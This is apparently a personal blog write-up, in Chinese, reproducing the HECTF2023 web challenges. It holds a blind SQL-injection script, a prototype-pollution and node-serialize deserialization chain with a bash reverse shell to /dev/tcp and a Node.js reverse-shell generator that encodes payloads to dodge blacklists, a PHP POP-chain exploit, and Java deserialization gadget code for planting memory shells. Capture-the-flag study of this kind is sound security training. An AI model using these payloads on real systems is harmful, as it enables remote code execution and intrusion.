HECTF2023-web复现

HECTF2023-WEB 复现

前言

当时报了名,但是忘记打了,快结束了上号看了一下好像都挺难的,都没怎么有思路

唉,太菜了

有的题没有给源代码,就只看看wp,其他的靠当时下载的附件,

EZweb

image-20240114163734067

大概就是这两个信息,然后sort传一次票数就增加

当时一点思路没有,痛苦

下面看wp

image-20240114163915092

访问

跳转的投票界面

测了好久发现是sql注入,太不明显了!!!!

然后就可以使用sqlmap进行梭哈

1.txt


POST /404.php HTTP/1.1
Host: 101.133.164.228:32385
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: http://101.133.164.228:32385
Connection: close
Referer: http://101.133.164.228:32385/404.php
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjExIn0.YrHwWF1RRyxqpta2G-dnwRRjoq53lCOLYVxv4l_BLMI; seed=976696390
Upgrade-Insecure-Requests: 1

sort=1

python3 sqlmap.py -r 1.txt -D ctf -T users -dump -batch

image-20240114164211302

官方wp使用的盲注

过滤了and、select、sleep,大写绕过即可

import requests
 import time
 
 url = 'http://101.132.112.252:31474/404.php'
 
 flag = ''
 #qsnctf  q 113
 for i in range(1,1000):
     high = 127
     low = 32
     mid = (low + high) // 2
     while high > low:
         payload = f"-1'/**/or/**/if(ascii(substr(database(),{i},1))>{mid},SLEEP(4),1)#"       #查库名   users
         payload = f"-1'/**/or/**/if(ascii(substr((seleCt(group_concat(table_name))from(infORmation_schema.tables)where(table_schema)='ctf'),{i},1))>{mid},SLEEP(4),1)#"        #查表名
        # payload = f"-1'/**/AND/**/if(ascii(substr((seleCt(group_concat(column_name))from(infORmation_schema.columns)where(table_name)='users'),{i},1))>{mid},SLEEP(4),1)#"        #查列名
 
        # payload = f"1'/**/and/**/if(ascii(substr((seleCt(password)from(users)),{i},1))>{mid},sleep(4),1)--+"       #查数据
 
       #  payload = f"1'/**/and/**/if(ascii(substr((select(group_concat(password))from(users)),{i},1))>{mid},sleep(4),1)#"        #查列名
 
 
         payload=f"-1'/**/or/**/if(ascii(substr((selecT(group_concat(password))from(users)),{i},1))>{mid},SLEEP(4),1)#"
 
         data = {
             "sort":payload
        }
 
         last = int(time.time())
         response = requests.post(url, data = data)
         now = int(time.time())
 
 
         if now - last > 3 :
             low = mid + 1
         else :
             high = mid
         mid = (low + high) // 2
     if low != 3232:
         flag += chr(int(low))
     else:
         break
     print(flag)

测不出是sql是真没办法

EZjs

这题有附件

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const flag="*****************"
var serialize = require('node-serialize');
var app = express();

class Brief {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.ctfer = {};
    }

    write_ctfer(name, nickname) {
        this.ctfer[(this.num++).toString()] = {
            "name": name,
            "nickname": nickname
        };
    }

    edit_ctfer(id, name, nikename) {
        undefsafe(this.ctfer, id + '.name', name);
        undefsafe(this.ctfer, id + '.nikename', nikename);
    }

    remove_ctfer(id) {
        delete this.ctfer[id];
    }
}

var introduction = new Brief();
introduction.write_ctfer("the first name", "the first nickname");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({
    extended: false
}));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function (req, res, next) {
    res.render('index', {
        title: 'Welcome to ctfer\'s brief introduction'
    });
});

app.route('/add')
    .get(function (req, res) {
        res.render('mess', {
            message: 'Please use post to pass parameters'
        });
    })
    .post(function (req, res) {
        let name = req.body.name;
        let nickname = req.body.nickname;
        if (name && nickname) {
            introduction.write_ctfer(name, nickname);
            res.send("添加成功");
        } else {
            res.send("添加失败");
        }
    })

app.route('/edit')
    .get(function (req, res) {
      res.send("开始修改");
    })
    .post(function (req, res) {
        let id = req.body.id;
        let name = req.body.name;
        let nickname = req.body.nickname;
        if (id && name && nickname) {
            introduction.edit_ctfer(id, name, nickname);
            res.send("修改成功");
        } else {
           res.send("修改失败");
        }
    })

app.route('/delete')
    .get(function (req, res) {
        
    })
    .post(function (req, res) {
        let id = req.body.id;
        if (id) {
            introduction.remove_ctfer(id);
            
        } else {
            
        }
    })

app.route('/getflag')
 .get(function (req, res) {
    let array1={IIS:123,a:234,b:345}
    let q = req.query.q;

    if(black1(q)){
        if(array1[q.toUpperCase()]==123){
            res.render('mess', {
            message: flag
        });

        }
    }
})

app.route('/excite')
    .get(function (req, res) {
        let commands = {
            "less1": "Error",
            "less2": "Correct"
        };

        for (let index in commands) {
            console.log(commands[index])
            if(black2(commands[index])){
                try{
                    serialize.unserialize(commands[index]);
                }catch (e){
                    continue;
                }

            }}
        res.send("ok");
        res.end();
    })


app.use(function (req, res, next) {
    res.status(404).send('Sorry cant find that!');
});


app.use(function (err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something broke!');
});


function black1(arr) {
    let blacklist = ["s", "S", "i","I"];
    for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
            return false;
        }
    }
    return true;
}
function black2(arr) {
    let blacklist = ["flag", "bash", "process","WEB","*","?","require","child","exec","&"];
    for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
            return false;
        }
    }
    return true;
}


const port = 80;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

看了一遍代码,black1可以使用javascript的大小写特性来绕过,但不知道有什么用

"ı".toUpperCase() == 'I'"ſ".toUpperCase() == 'S'

不知道漏洞在哪时可以看依赖,通常题目就是出的依赖的CVE

{
    "dependencies": {
        "express": "^4.17.1",
        "pug": "^2.0.4",
        "undefsafe": "2.0.1",
        "node-serialize": "0.0.4",
        "cookie-parser": "^1.4.3",
        "escape-html": "^1.0.3"
    }
}

当时看的时候注意到的是node-serialize这个库,当时认为这个肯定有CVE,看了wp,确实是这样

我自己对着库寻找漏洞,找到两篇文章

Undefsafe模块原型链污染(CVE-2019-10795) (xianbeil.github.io)

CVE-2017-5941: 利用Node.js反序列化漏洞执行远程代码-腾讯云开发者社区-腾讯云 (tencent.com)

分别是undefsafe的原型链污染,node-serialize的反序列化漏洞

基本上合起来就是官方wp了

undefsafe

当我们访问一个对象不存在的属性时,会报错然后退出程序,undefsafe帮我们解决了这个问题

var undefsafe = require("undefsafe");

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'test'
        }
    }
};

console.log(object.a.c.e);
//Uncaught TypeError TypeError: Cannot read properties of undefined (reading 'e')
//错误并退出程序

console.log(undefsafe(object,"a.c.e"));//undefined

为一个不存在的属性赋值时,会在其上层赋值

var undefsafe = require("undefsafe");


var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'test'
        }
    }
};

undefsafe(object,'a.c.name','xianbei');
//undefsafe(object,'a.name','xianbei');   //直接a.name结果也是一样的
console.log(object);
//结果
{ a: 
	{ b: 
		{ c: 1, 
		d: [Array], 
		e: 'test' 
		}, 
	name: 'xianbei'      //name与b是同一级
	} 
}

那很明显利用方式就是__proto__ 进行原型链污染

var undefsafe = require("undefsafe");


var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'test'
        }
    }
};

undefsafe(object,'__proto__.name','xianbei');
console.log(object.name);//xianbei

node-serialize

unserialize 内部有这么一段代码

if (obj[key].indexOf('_$$ND_FUNC$$_') === 0) {
  obj[key] = eval('(' + obj[key].substring('_$$ND_FUNC$$_'.length) + ')');
}

如果用户输入 {"rce":"_$$ND_FUNC$$_process.exit()"}

就相当于执行eval('(process.exit())'),就会退出程序

漏洞利用

var y = {  
 rce : function(){
 require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');  
console.log("Serialized: \n" + serialize.serialize(y));
Serialized: 
{"rce":"_$$ND_FUNC$$_function(){\r\n        require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\r\n    }"}  

那么问题来了,怎么代码执行呢?只有触发对象的 rce 成员函数才行。

可以使用 JavaScript 的立即调用的函数表达式(IIFE)来调用该函数。如果我们在函数后使用 IIFE 括号 () ,在对象被创建时,函数就会马上被调用

加了之后无法显示出序列化的结果,所以我们直接在前面序列化的结果中加()

image-20240114195253057

poc

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}  

继续

了解完原理后,这题的话有黑名单,可以使用参考文章中的Node.Js-Security-Course/nodejsshell.py at master · ajinabraham/Node.Js-Security-Course (github.com)脚本

生成使用String.fromCharCode来反弹shell的payload,以此绕过黑名单

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,....))}()"}

然后是原型链污染的部分,因为只有

edit_ctfer(id, name, nikename) {
    undefsafe(this.ctfer, id + '.name', name);
    undefsafe(this.ctfer, id + '.nikename', nikename);
}

只能污染ctfer的属性,所以做题无脑污染就行,这里我们具体测试一下

image-20240114200325556

image-20240114200545913

image-20240114200706074

image-20240114200800797

所以污染哪一个都行

拼凑出来就是官方wp了

给出官方wp

通过给的附件和第三方库版本,推断利用undefsafe造成原型链污染

但是后面是一个序列化

CVE-2017-5941: 利用Node.js反序列化漏洞执行远程代码
id=__proto__.sc&name={"rce"%3a"_$$ND_FUNC$$_function(){require('child_process').exec('bash+-c+\"bash+-i+>%26+/dev/tcp/ip/4444+0>%261\"',function(error,stdout,+stderr)+{+console.log(stdout)+})%3b\n+}()"}&nickname=5

但是有黑名单过滤了一些命令执行函数

**python shell.py ip 端口,生成String.fromCharCode的字符即可绕过 **

import sys

if len(sys.argv) != 3:
    print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
       });
   });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
   });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

访问/edit路由污染参数,最后访问/excite进行执行

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,...))}()"}

补充

app.route('/getflag')
 .get(function (req, res) {
    let array1={IIS:123,a:234,b:345}
    let q = req.query.q;

    if(black1(q)){
        if(array1[q.toUpperCase()]==123){
            res.render('mess', {
            message: flag
        });

        }
    }
})
function black1(arr) {
    let blacklist = ["s", "S", "i","I"];
    for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
            return false;
        }
    }
    return true;
}

这里的判断条件是array1[q.toUpperCase()]==123,把array1当成数组来处理了,但是array1只是一个对象,所以这个判断永远不成立,

woc,夸张

懒洋洋

唉,没话说

image-20240114215546120

image-20240114215620645

端口:7777 头指请求头,说明要利用CRLF漏洞

/eeeqxxtg?url=http://127.0.0.1:7777/?a=1%20HTTP/1.1%0d%0aflag:%20ctfer%0d%0aTEST:%20123%0d%0a

Hint:请参考官网上的验证代码格式,并通过并发绕过某些东西

这个hint不知道什么意思

伪装者

image-20240114220207330

前三个是基础的HTTP请求头,但我卡在了Firefox的User-Agent

开始我以为是要像chrome一样长条的user-agent,网上查了后行不通,然后也尝试输入firefox,也不行

结果就是Firefox 。。。。。挺无语的

接下来经过测试是要session伪造一个zxk1ing用户

image-20240114220546866

给了key

伪造完后

image-20240114220625759

利用ssrf访问路由获取flag

image-20240114220747822

file伪协议也可以

image-20240114220737922

ezphp

image-20240114221009492

进入题目,f12提示post_me_your_guess,响应头里发现Guess: which rand()?,cookie中发现seed(不同靶机的seed不同)

应该是要我们爆破随机数,因为给了seed,先写一个脚本生成随机数的字典

<?php
// 设置种子
mt_srand(331061946);

// 生成随机数并保存为1.txt
$file = fopen('1.txt', 'w');
for ($i = 0; $i < 50; $i++) {
    $randomNumber = mt_rand();
    fwrite($file, $randomNumber . PHP_EOL);
}
fclose($file);

echo '随机数已保存到1.txt文件中。';
?>

<?php
mt_srand(1442660857);
 
for($i=0;$i<1000;$i++){
 
    echo mt_rand()."\n";
 
}

image-20240114221136049

<?php
error_reporting(0);
highlight_file(__FILE__);

class GGbond{
    public $candy;

    public function __call($func,$arg){
        $func($arg);
    }

    public function __toString(){
        return $this->candy->str;
    }
}

class unser{
    public $obj;
    public $auth;

    public function __construct($obj,$name){
        $this->obj = $obj;
        $this->obj->auth = $name;
    }

    public function __destruct(){
        $this->obj->Welcome();
    }
}

class HECTF{
    public $cmd;

    public function __invoke(){
        if($this->cmd){
            $this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
        }
        exec($this->cmd);
    }
}

class heeectf{
    public $obj;
    public $flag = "Welcome";
    public $auth = "who are you?";

    public function Welcome(){
        if(unserialize($this->auth)=="zxk1ing"){
            $star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
            echo $star;
        }
        else
            echo 'Welcome HECTF! Have fun!';
    }

    public function __get($get)
    {
        $func = $this->flag;
        return $func();
    }
}

new unser(new heeectf(),"user");

$data = $_POST['data'];
if(!preg_match('/flag/i',$data))
    unserialize($data);
else
    echo "想干嘛???";
public function __invoke(){
    if($this->cmd){
        $this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
    }
    exec($this->cmd);
}

这种置空的匹配是最垃圾的,直接双写绕过

if(!preg_match('/flag/i',$data))
    unserialize($data);

序列化的数据不能有flag

那就是用大写S的十六进制绕过S:4:"fla\67"

pop链不说了(最近感觉要么直接看出来,要么就转个弯就行,就不太想说了)

unser::__destruct -> GGBond::__call -> heeectf::Welcome -> GGbond::__toString -> heeectf::__get -> HECTF::__invoke

值得一提的是

public function Welcome(){
    if(unserialize($this->auth)=="zxk1ing"){
        $star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
        echo $star;
    }
    else
        echo 'Welcome HECTF! Have fun!';
}

obj会被当作字符串被echo,可以触发__toString

因此也要满足unserialize($this->auth)=="zxk1ing"这个式子

看了下wp,发现直接构造就行了 s:7:"zxk1ing";

别人的poc

<?php

class GGbond{
    public $candy;
}

class unser{
    public $obj;
    public $auth;
}

class HECTF{
    public $cmd='cacatt${IFS}/f*|tteeee${IFS}2';
}

class heeectf{
    public $obj;
    public $flag;
    public $auth = 's:7:"zxk1ing";';
}

$a=new unser();
$a->obj=new heeectf();
$a->obj->obj=new GGbond();
$a->obj->obj->candy=new heeectf();
$a->obj->obj->candy->flag=new HECTF();
echo preg_replace('/s:4:"flag"/','S:4:"fla\\\67"',serialize($a));

DeserializationAttack

接下来两道java才是重头戏

出题人本意是黑盒测试,后台模拟了个waf,限制长度和反序列化数据开头不能是字母数字和空格,最后还是给出了源码

package com.butler.deserializationattack.myController;

import java.io.IOException;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class HECTFController {
    public HECTFController() {
    }

    @RequestMapping
    public String index(@RequestParam(name = "data",required = false) String data, Model model) throws IOException, ClassNotFoundException {
        if (data != null) {
            Integer length = data.length();
            System.out.println(data.length());
            if (startsWithDigitOrLetter(data) && length > 1000) {
                model.addAttribute("result", "You are being blocked by the WAF (Web Application Firewall).");
                return "index";
            }

            System.out.println(data.length());
            byte[] decode = Base64.decode(data);
            DefaultSerializer defaultSerializer = new DefaultSerializer();
            defaultSerializer.deserialize(decode);
        }

        return "index";
    }

    public static boolean startsWithDigitOrLetter(String data) {
        String regex = "^[A-Za-z0-9 ].*";
        return data.matches(regex);
    }
}

URLDNS

image-20240114225257607

出题人的idea解析出来的是两个if语句,

而我的是一个

if (startsWithDigitOrLetter(data) && length > 1000) {
	model.addAttribute("result", "You are being blocked by the WAF (Web Application 	Firewall).");
	return "index";
}

如果是两个if语句的话,wp中就不可能使用URLDNS进行探测

按照一个if语句的话,URLDNS中startsWithDigitOrLetter(data)truelength > 1000false

于是执行后面的deserialize

并且wp后面的payload令startsWithDigitOrLetter(data)falselength > 1000true同样能够执行后面的deserialize

综上应该是只有一个if语句

image-20240114224924210

绕过WAF

这里有个细节

import org.apache.shiro.codec.Base64;

后端是用shiro的base64来做解码的

image-20240114231128989

image-20240114231144224

如果对某个字节的isBase64判断结果为false,则不会将其添加到数组groomeData中。

image-20240114231155870

isBase64方法的内容如下:所以只要我们让base64Alphabet[octect]==-1则可以不进入加密数组中,octect是ascii码值

下面是base64Alphabet的数据(只给出前一些)

0 = -1
1 = -1
2 = -1
3 = -1
4 = -1
5 = -1
6 = -1
7 = -1
8 = -1
9 = -1
10 = -1
11 = -1
12 = -1
13 = -1
14 = -1
15 = -1
16 = -1
17 = -1
18 = -1
19 = -1
20 = -1
21 = -1
22 = -1
23 = -1
24 = -1
25 = -1
26 = -1
27 = -1
28 = -1
29 = -1
30 = -1
31 = -1
32 = -1
33 = -1
34 = -1
35 = -1
36 = -1
37 = -1
38 = -1
39 = -1
40 = -1
41 = -1
42 = -1
43 = 62
44 = -1
45 = -1
46 = -1
47 = 63
48 = 52
49 = 53
50 = 54
51 = 55
52 = 56
53 = 57
54 = 58
55 = 59
56 = 60
57 = 61
58 = -1
59 = -1
60 = -1
61 = -1
62 = -1
63 = -1
64 = -1
65 = 0
66 = 1
67 = 2
68 = 3
69 = 4
70 = 5
71 = 6
72 = 7
73 = 8
74 = 9
75 = 10
76 = 11
77 = 12
78 = 13
79 = 14
80 = 15
81 = 16
82 = 17
83 = 18
84 = 19
85 = 20
86 = 21
87 = 22
88 = 23
89 = 24
90 = 25
91 = -1
92 = -1
93 = -1
94 = -1
95 = -1
96 = -1

查了下ascii码表然后再对照base64Alphabet,我们可以填充以下字符来做为脏字符,但是需要注意有些字符并不能作为脏字符,比如说[]这种,会被HTTP包特殊识别。&#$这种都是没问题的

image-20240114231512510

打入内存马

使用CB链来打入spring内存马

POST / HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25732

data=$$$$$$$$$$$rO0AB#############XNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1。。。
GET / HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Referer: https://www.google.com/
x-client-data: cmd
cmd: cat ./flag

image-20240114232055735

FastjsonAttack

考点:

黑盒测试:

  • fastjson1,fastjson2的鉴别
  • parseObject 期望类
  • 依赖探测

但是因为太难,还是给出了附件

image-20240115135252659

抓包

image-20240115135323995

直接看出是个fastjson

鉴别fastjson和fastjson2

继续探测是fastjson,还是fastjson2,wp中给出了鉴别方法

fastjson2不支持前面加逗号会报错但是支持后面加逗号,fastjson1支持前后加逗号

{,"friend":"1","name":"1","password":"2"}

image-20240115135610559

鉴别是否使用了期望类

附件中的Student类可以看出friend使用了期望类

@Data
public class Student {
   private String username;
   private String password;
   private Object friend;
  }
}

那如何来判断呢

如果我们把 @type 放在外边出现报错,而放在friend内部不报错的话则证明后端使用了期望类。

//报错
{
    "@type":"java.net.Inet6Address",
    "username":"1",
    "password":"2",
    "friend":"3"
}


//不报错
{
    "username":"1",
    "password":"2",
    "friend":{
        "@type":"java.net.Inet6Address"
    }
}

image-20240115135549854

image-20240115135525143

Fastjson2探测某个依赖是否存在

判断依赖是否存在,fastjson2在类加载不到的情况下不会报出任何的错误,然后引用其内部的属性也不会报错。但是如果类存在,并且引入内部属性出错就会报错

简单来说不存在的类,怎么加载和调用它内部的属性都不会报错

存在的调用它内部属性出错时报错

//不出错
{"friend":{
    "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy":"123"
},
 "username":"1",
 "password":"1"
}

//出错
{"friend":{
    "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
           "userOverridesAsString":"123"
},
 "username":"1",
 "password":"1"
}

image-20240115141228712

image-20240115141349061

说明存在c3p0的依赖

image-20240115141534387

做题

那这么一说,比赛后期给了源码,就能直接看出fastjson2和c3p0

直接打c3p0的二次反序列化就行了

老样子,jackson别忘了去除writeplace

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class c3p0_hex {
    public static void main(String[] args) throws Exception {

        byte[] bytecode = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);


        POJONode jsonNodes = new POJONode(templatesImpl);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);

        byte[] bytes = serial(exp);

        System.out.println(bytesToHexString(bytes, bytes.length));


    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static byte[] serial(Object data) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(data);
        objectOutputStream.close();
        return barr.toByteArray();

    }
    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

内存马自己找找吧

{"friend":{
    "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString":"HexAsciiSerializedMap:结果;"
},
 "username":"1",
 "password":"1"
}

运行的结果填入后,记得后面有个;别忘了

wp说回显要带内容,应该跟它使用的内存马有关,换个内存马就不用那些了

image-20240115145143004

Reference

第七届HECTF信息安全挑战赛—WP—Web专场 (qq.com)

HECTF2023 | 雲流のLowest World (c1oudfl0w0.github.io)


HECTF2023-web复现
https://zer0peach.github.io/2024/01/14/HECTF2023-web复现/
作者
Zer0peach
发布于
2024年1月14日
许可协议